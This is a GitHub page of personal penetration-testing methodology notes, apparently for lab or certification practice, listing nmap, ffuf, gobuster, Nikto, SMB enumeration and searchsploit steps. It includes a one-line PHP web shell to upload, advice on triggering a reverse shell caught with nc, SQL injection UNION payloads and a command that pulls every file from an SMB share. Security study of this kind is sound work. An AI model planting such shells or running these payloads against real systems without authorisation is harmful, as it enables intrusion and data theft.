testing-notes/pentesting_methodology at main · SecurityNomad/testing-notes · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
SCANNING:
NMAP:
	1. Run nmap against all ports
	2. Take ports list and run nmap again, this time with the following flags.
		a. -sC[safe scripts] -sV[enumerate versions] -oA [output all formats] -A[Fill in the gaps]

AUTORECON:
	1. Autorecon.sh

DIRECTORY BUSTING
GOBUSTER:
	1. Gobuster dir -w [path to wordlist] -q [quiet mode] -u [URL] -t[Threads]

FFUF:
	1. Ffuf -w[path to wordlist] -u[URL]/FUZZ -c[colorize output] -mc[Match HTTP codes] -t[threads] -fl [filter lines. Always use 1]
	2. ffuf -w [path to wordlist] -u http://IP/FUZZ -r -c -mc 200,301,302 -t 250

ENUMERATION:
	1. What software is running?
	2. Software versions?
	3. Software vulnerabilities?
	4. Leave port 22 SSH alone.
	5. If FTP allows anonymous, test it.
	6. IF EVER WE SEE ssl-cert: Subject: commonName, ADD THE DOMAIN TO THE /ETC/HOSTS FILE ASAP!!!
	7. For HTTP:
		a. Check robots.txt
		b. Check the source code
		c. Is there upload capabilities?
		d. Upload a generic php command file to check for LFI.
			i. <?php echo shell_exec($_GET['cmd']); ?>
		e. Always have php reverse shell ready.
		f. How can we trigger the reverse shell?
			i. File upload
			ii. Path traversal
			iii. Make sure nc is up to catch it.
		g. Is there SQLi?
			· Id=1
			· Id=1' UNION+SELECT+1--+
			· We increment the numbers here to determine the amount of columns are on the target
			· Id=1' UNION+SELECT+1,2--+
			· Id=1' UNION+SELECT+1,2,3--+
			· Id=1' UNION+SELECT+1,2,3,4--+
		h. Have you performed Directory Busting on HTTP ports other than 80?
		i. Have you ran Nikto on ports other than 80?
	8. Are there any ports / services that stand out?
	9. Google for software vulnerabilities.

NIKTO:
Nikto -host [URL]

SMB:
· enum4linux
	o enum4linux -a <IP>
· smbclient
	o smbclient --no-pass -L //$IP
	o smbclient //<IP>/<SHARE>
	o smbclient //<IP>/<SHARE> -U <USER> -c "prompt OFF;recurse ON;mget *"
· Smbmap
	o smbmap -H <IP>
	o smbmap -u '' -p '' -H <IP>
	o smbmap -u 'guest' -p '' -H <IP>
	o smbmap -u '' -p '' -H <IP> -R


VULNERABILITY SCANNING:
NSE:
	1. Navigate to /usr/share/nmap/scripts
	2. Use ls | grep [service]
	3. Nmap -sV -p[port to scan] --script=[script name]


EXPLOIT HUNTING:
SEARCHSPLOIT:
	1. Searchsploit [application name][version]
	2. Copy exploit to our working folder
		a. Searchsploit -m [exploit path]

EXPLOIT-DB


EXPLOITATION:
	1. Manual exploits?
	2. Modules in metasploit?


RABBIT HOLES:
	1. Spend at least 30 minutes enumerating 1 port or service.
	2. After 30 minutes, go to the next port / service
	3. Continue cycling.